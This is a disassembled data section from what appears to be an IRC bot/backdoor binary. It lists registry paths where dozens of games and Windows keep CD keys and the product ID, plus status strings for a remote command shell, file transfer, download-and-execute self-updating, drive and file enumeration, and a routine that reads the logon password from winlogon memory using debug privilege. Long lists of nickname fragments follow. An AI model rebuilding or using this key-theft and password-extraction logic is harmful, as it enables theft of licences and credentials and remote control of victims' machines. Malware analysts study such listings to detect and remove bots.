aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 10h
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 10h
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 10h
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 10h
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 10h
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 10h
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 10h
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 10h
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 10h
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 10h
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368BCo
aCdkey db 'CDKey',0 ; DATA XREF: ___:004368B8o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368B4o
align 4
asc_437AB4: ; DATA XREF: sub_415A2F+E9o
; sub_415A2F+F4o
unicode 0, <=>,0
dword_437AB8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415A2F+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437B34 db 2Dh ; - ; DATA XREF: ___:00415F17o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_437B58 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:0041617Co
; ___:00416312o
dd 726F72h
unk_437B70 db 2Dh ; - ; DATA XREF: ___:00416114o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_437B9C db 2Dh ; - ; DATA XREF: ___:0041601Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 10h
dword_437BC0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00415FE5o
dd 74756Fh
dword_437BD8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00415F84o
dd 169h
unk_437BF0 db 2Dh ; - ; DATA XREF: ___:00415F41o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 10h
unk_437C10 db 2Dh ; - ; DATA XREF: ___:00415E9Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437C34 db 2Dh ; - ; DATA XREF: ___:00415E5Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_437C58 db 2Dh ; - ; DATA XREF: ___:0041638Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_437C84 db 2Dh ; - ; DATA XREF: ___:00416287o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_437CA4 db 2Dh ; - ; DATA XREF: ___:00416267o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 10h
aAB db 'a+b',0 ; DATA XREF: ___:00416253o
unk_437CD4 db 2Dh ; - ; DATA XREF: ___:0041623Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_437D04 db 2Dh ; - ; DATA XREF: ___:0041688Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437D30 db 2Dh ; - ; DATA XREF: ___:0041687Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_437D64 db 2Dh ; - ; DATA XREF: ___:004167C2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
dword_437DA8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416751o
dd 25206465h, 73h
unk_437DC4 db 2Dh ; - ; DATA XREF: ___:004166DAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_437DFC db 2Dh ; - ; DATA XREF: ___:0041665Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_437E24 db 2Dh ; - ; DATA XREF: ___:004165D1o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 10h
unk_437E50 db 2Dh ; - ; DATA XREF: ___:0041658Eo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_437E78 db 2Dh ; - ; DATA XREF: ___:0041657Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_437EA0 db 2Dh ; - ; DATA XREF: ___:00416470o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o
; sub_418EF6+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o
align 10h
aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo
align 10h
off_437EF0 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o
word_437EF4 dw 3Fh ; DATA XREF: sub_4169A1+1Fo
; sub_41AA42:loc_41AB44r
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o
; sub_416B56+3Bo
align 10h
aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co
align 4
unk_437F08 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_437F44 db 2Dh ; - ; DATA XREF: sub_416B56+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437FF0 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_438024 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438050 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 4
unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1A+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_4380E4 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004D
dd offset byte_4E0049
dd 0
off_4380FC dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo
dd offset byte_520045
dd offset loc_41004D+1
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
; sub_416F1A+161o ...
align 10h
unk_4381C0 db 2Dh ; - ; DATA XREF: sub_416F1A+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 10h
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o
align 10h
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo
align 4
dword_43820C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417552+70o
; sub_4175E9+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43825C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175E9+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_4382B0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr
; "q"
dd offset dword_438E5C
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_438E58
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_0 ; "s"
dd offset aD ; "d"
dd offset dword_438E54
dd offset dword_438E50
dd offset dword_438E4C
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_438E48
dd offset dword_438E44
dd offset dword_438E40
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_438E3C
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_438E38
dd offset dword_438E34
dd offset dword_438E30
dd offset dword_438E2C
dd offset dword_438E28
dd offset word_438E24
dd offset dword_438E20
dd offset aI_0 ; "I"
dd offset dword_438E1C
dd offset dword_438E18
dd offset aA_0 ; "A"
dd offset dword_438E14
dd offset dword_438E10
dd offset dword_438E0C
dd offset dword_438E08
dd offset dword_438E04
dd offset dword_438E00
dd offset dword_438DFC
dd offset dword_438DF8
dd offset dword_438DF4
dd offset dword_438DF0
dd offset dword_438DEC
dd offset dword_438DE8
dd offset dword_438DE4
dd offset word_438DE0
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_438B78
dd offset off_438B74
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_4389E0
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_4385B0 dd offset aSex ; DATA XREF: sub_417ADD+41r
; sub_417ADD+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438E3C
dd offset aC ; "c"
dd offset aD ; "d"
dd offset aE ; "e"
dd offset dword_438E54
dd offset dword_438E50
dd offset dword_438E4C
dd offset aI ; "i"
dd offset dword_42BBBC
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_438E48
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_438E5C
dd offset dword_438E40
dd offset dword_438E58
dd offset dword_438E44
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_438E44
dd offset dword_438E50
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438800
dd offset aBbl ; "|bbl"
dd offset dword_43D7D8
dd offset dword_43D7D8
dd offset a___0 ; "_|_"
dd offset dword_43D7D8
dd offset dword_43D7D8
dd offset dword_43D7D8
dd offset dword_43D7D8
dd offset dword_438E0C
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438E3C
dd offset dword_43D7D8
dd offset aSleeping ; "Sleeping"
dd offset dword_43D7D8
dd offset dword_43D7D8
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43D7D8
dd offset dword_43D7D8
dd offset dword_438DF0
dd offset dword_43D7D8
dd offset off_4387C0
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_438780
dd offset dword_43877C
dd offset dword_438774
dd offset dword_438768
dd offset dword_438760
dd offset dword_438758
dd offset dword_438750
dd offset dword_43874C
dd offset dword_438748
dword_438748 dd 7536h ; DATA XREF: ___:00438744o
dword_43874C dd 7535h ; DATA XREF: ___:00438740o
dword_438750 dd 7C75347Ch, 0 ; DATA XREF: ___:0043873Co
dword_438758 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438738o
dword_438760 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438734o
dword_438768 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438730o
; Themida_:005477F9o
dword_438774 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043872Co
dword_43877C dd 6C6F6Ch ; DATA XREF: ___:00438728o
dword_438780 dd 746F74h ; DATA XREF: ___:00438724o
aMofo db 'mofo',0 ; DATA XREF: ___:00438720o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:0043871Co
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438718o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:00438714o
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438710o
aShit db 'shit',0 ; DATA XREF: ___:0043870Co
align 10h
aGurl db 'gurl',0 ; DATA XREF: ___:00438708o
align 4
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438704o
align 10h
off_4387C0 dd offset word_594F42 ; DATA XREF: ___:00438700o
aFree db 'Free',0 ; DATA XREF: ___:004386ECo
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: ___:004386E8o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:004386DCo
align 10h
aF_2 db '^^^f^',0 ; DATA XREF: ___:004386D0o
align 4
aSad db 'Sad',0 ; DATA XREF: ___:004386CCo
aLuvu db 'LUVU',0 ; DATA XREF: ___:004386C8o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:004386ACo
aBbl db '|bbl',0 ; DATA XREF: ___:004386A0o
align 10h
off_438800 dd offset loc_425242 ; DATA XREF: ___:0043869Co
aMuckc db 'muckc',0 ; DATA XREF: ___:00438688o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:00438684o
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:00438680o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:0043867Co
align 4
aUi db 'ui',0 ; DATA XREF: ___:00438678o
align 4
aSdf db 'sdf',0 ; DATA XREF: ___:00438674o
aRt db 'rt',0 ; DATA XREF: ___:00438670o
align 10h
aGf db 'gf',0 ; DATA XREF: ___:0043866Co
align 4
aTy db 'ty',0 ; DATA XREF: ___:00438668o
align 4
aRg db 'rg',0 ; DATA XREF: ___:00438664o
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00438660o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00438640o
align 4
aQ8A db '|q8|a',0 ; DATA XREF: ___:004385F8o
